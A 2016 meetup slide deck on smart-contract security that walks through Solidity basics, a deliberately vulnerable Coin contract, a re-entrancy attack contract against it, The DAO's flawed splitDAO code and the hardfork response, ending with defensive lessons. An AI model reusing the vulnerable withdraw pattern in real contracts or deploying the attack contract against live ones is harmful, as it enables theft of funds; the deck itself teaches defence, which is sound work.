Compromising Smart Contracts

WHEN NOT TO TRUST

 

[15-07-16] ~max.kaye/pres/ruxmon-syd $ ./comp-smart-contracts

Blockchain Primer

Lock-step, massively replicated computation
If peers' hashes don't match: consensus breaks
Computation steps correspond to smart contracts and are executed in series
Smart contracts alter a state precisely, which is reflected by some form of root hash

Smart contracts Primer - 1

Smart contracts are programs run on blockchains
Because consensus relies on common execution they
cannot be stopped from running
Examples:
- Sending Money      
- Escrow             
- Voting             
- DRM                
- Currency Exchange  
- Distributed VC Fund

Smart contracts Primer - 2

In the beginning, smart contracts were dumb
(and called scripts)
Bitcoin scripts are ephemeral, and simple.
- Not Turing Complete
- Limited operations 
Ethereum smart contracts are persistent, 
and each has their own database
Ethereum smart contracts can do everything that users can do, including talking with other smart contracts
which immediately begin executing

Writing Smart Contracts

Smart Contracts are (often) written in a 
Javascript-y, OO-esq language called Solidity
Variables are stored persistently across transactions in the smart contract database
Transactions call methods of the smart contract
(the creation tx calls the constructor)
Smart contracts are compiled down to bytecode
run by the Ethereum VM

Smart Contract Example - Get Set

// ~/src/contracts/get-set.sol

contract GetSet {
    string content;

    function GetSet() {
        content = "initial";
    }

    function set(string _content) {
        content = _content;
    }

    function get() constant returns (string retVar) {
        return content;
    }
}

Smart Contract Example - Agent

// ~/src/contracts/get-set-agent.sol

contract GetSetAgent {    
    address gs = 0xb136707642a4ea12fb4bae820f03d2562ebff487;

    function GetSetAgent() {
    }

    function set() {
        gs.call("get");  // => "initial"
        gs.call("set", "set_by_agent");
        gs.call("get");  // => "set_by_agent"
    }
}

Smart contract example - Escrow

// ~/src/contracts/escrow.sol

contract Escrow {
    address alice;
    address bob;
    address recipient;

    bool alice_status = false;
    bool bob_status = false;
    
    function Escrow(address _alice, address _bob, address _recipient) {
        alice     = _alice;
        bob       = _bob;
        recipient = _recipient;
    }

    function approve() {
        if (msg.sender == alice) {
            alice_status = true;
        } else if (msg.sender == bob) {
            bob_status = true;
        }
    }

    function trigger() {
        if (alice_status && bob_status) {
            selfdestruct(recipient);
        }
    }
}

Smart Contract Example - Coin

// ~/src/contracts/coin.sol

contract Coin {
    mapping (address -> uint) balances;
    
    function Coin() {}

    function() {  // default function
        balances[msg.sender] += msg.amount;
    }

    function sendAll(address recipient){
        if (balances[msg.sender] > 0){
            balances[recipient] = balances[msg.sender];
            balances[msg.sender] = 0;
        }
    }

    function withdraw() {
        uint toSend = balances[msg.sender];
        bool success = msg.sender.call.value(toSend)();
        if (success) 
            balances[msg.sender] = 0;
    }
}

Find the exploit

// ~/src/contracts/coin.sol

contract Coin {
    mapping (address -> uint) balances;
    
    function Coin() {}

    function deposit() {
        balances[msg.sender] += msg.amount;
    }

    function sendAll(address recipient){
        if (balances[msg.sender] > 0){
            balances[recipient] = balances[msg.sender];
            balances[msg.sender] = 0;
        }
    }

    function withdraw() {
        uint toSend = balances[msg.sender];
        bool success = msg.sender.call.value(toSend)();
        if (success) 
            balances[msg.sender] = 0;
    }
}

Exploit

// ~/src/contracts/attack.sol

contract Coin {
    ....
    function withdraw() {
        uint toSend = balances[msg.sender];
        bool success = msg.sender.call.value(toSend)();
        if (success) balances[msg.sender] = 0;
    }
}

contract InnocentAgent {
    Coin coin = Coin(coin_address);
    function InnocentAgent() { coin.call.value(msg.amount)(); }
}

contract CoinAgent {
    Coin toAttack = Coin(coin_address);
    bool shouldAttack = true;

    function CoinAgent(){ toAttack.call.value(msg.amount)(); }

    function(){  // default function
        if (shouldAttack && msg.sender == coin_address) {
            shouldAttack = false;
            toAttack.withdraw();
        }
    }

    function attack(){ toAttack.withdraw(); }
}
        

The Dao

Complex Distributed Venture Capital Fund
Included functions like voting on proposals
and spinning out "child DAOs"
Child DAOs had two uses:
- Express dissent and start a new DAO
- Withdraw Money                     
The (simplified) creation process of a child DAO:
1. Call the function; must be a token holder to do so
2. Calculate how much ether to send to the child DAO
3. Send ether to new DAO and then adjust balances
Analysis credit: http://vessenes.com/deconstructing-thedao-attack-a-brief-code-tour/
Evidently something went wrong...

The Dao - Cont 1

// https://github.com/slockit/DAO/blob/develop/DAO.sol#L618

function splitDAO(...) ... {
  ...
  withdrawRewardFor(msg.sender);
  totalSupply -= balances[msg.sender];
  balances[msg.sender] = 0;
  ...
}

function withdrawRewardFor(address _account) ... {
  ...
  uint reward = ...  // calculate the reward to send, including paidOut[_account]

  if (!rewardAccount.payOut(_account, reward))
    throw;
  paidOut[_account] += reward;
  return true;
}

The Dao - Cont 2

Call Stack

splitDao
  withdrawRewardFor
     payOut
       Malicious()
        splitDao
          withdrawRewardFor
             payOut
               Malicious()
                splitDao
                  withdrawRewardFor
                     payOut
                       Malicious()
                         ...

The Dao - Cont 3

Recursion Limit

Ethereum has a recursion limit
DAO balances are set to zero when the stack resolves
Due to various limits an attacker could have only had a recursion stack 30 calls deep
The attacker only had ~250 ether in the DAO
so should have only been able to pull out ~7,500 ether, NOT 3,500,000 ether

The Dao - Cont 4

Call Stack - Extended

splitDao
  withdrawRewardFor
     payOut
       Malicious()
        splitDao
          withdrawRewardFor
             payOut
               ...
                 Malicious()
                   DAO.transferFrom(attackerAddress, newAddress, balance)

Community Reaction

"Ahh, not good!"
Softfork to prevent the attacker withdrawing funds
Undo the softfork
"We should hardfork, no wait, softfork, no wait..."
"We shoud still hardfork"
Plan the hardfork
Hardfork occurs July 20th (ish) on block 1,920,000
Ethereum currently at 1,888,000
"Ahh the softfork has a DoS attack!"

The Hardfork

1. Create a withdrawal only contract 'C' linking to
   DAO database (already done)

2. Collect balance of all affected contracts

3. Set balance of contract 'C' to the total of all
   affected contracts

4. Set balance of affected contracts to 0
Source: https://blog.slock.it/hard-fork-specification-24b889e70703#.n1sdt798l

The Hardfork

contract DAO {
    function balanceOf(address addr) returns (uint);
    function transferFrom(address from, address to, uint balance) returns (bool);
    uint public totalSupply;
}

contract WithdrawDAO {
    DAO constant public mainDAO = DAO(0xbb9bc244d798123fde783fcc1c72d3bb8c189413);
    address public trustee = 0xda4a4626d3e16e094de3225a751aab7128e96526;

    function withdraw(){
        uint balance = mainDAO.balanceOf(msg.sender);

        if (!mainDAO.transferFrom(msg.sender, this, balance) || !msg.sender.send(balance))
            throw;
    }

    function trusteeWithdraw() {
        trustee.send((this.balance + mainDAO.balanceOf(this)) - mainDAO.totalSupply());
    }
}
Source: https://blog.slock.it/hard-fork-specification-24b889e70703#.n1sdt798l

Lessons

  • Be aware of recursion / re-entry attacks; 
    reduce balances before sending
    
  • Introduce a purely functional language so we can prove contracts adhere to a specification
    
  • Add recursion limits (technical: ensure `gas` limits are set and sensible)
  • Use Mutexes / Semaphores / Locks to protect sensitive methods
  • Standardisation of common functions (IE use a library)
  • Ethereum needs better support software (EG testing frameworks, static analysis, etc)

BONUS Lesson: Hubris

From The DAO's ToS:

Nothing in this explanation of terms or in any other document or communication may modify or add any additional obligations or guarantees beyond those set forth in The DAO’s code. Any and all explanatory terms or descriptions are merely offered for educational purposes and do not supercede or modify the express terms of The DAO’s code set forth on the blockchain; to the extent you believe there to be any conflict or discrepancy between the descriptions offered here and the functionality of The DAO’s code at 0xbb9bc244d798123fde783fcc1c72d3bb8c189413, The DAO’s code controls and sets forth all terms of The DAO Creation

Thank you
and Questions

Max Kaye
m@xk.io
15th July 2016 for Ruxmon Sydney

https://xk.io
https://VoteFlux.org
https://BitTradeLabs.com

Compromising Smart Contracts

By Max Kaye

Compromising Smart Contracts

  • 1,297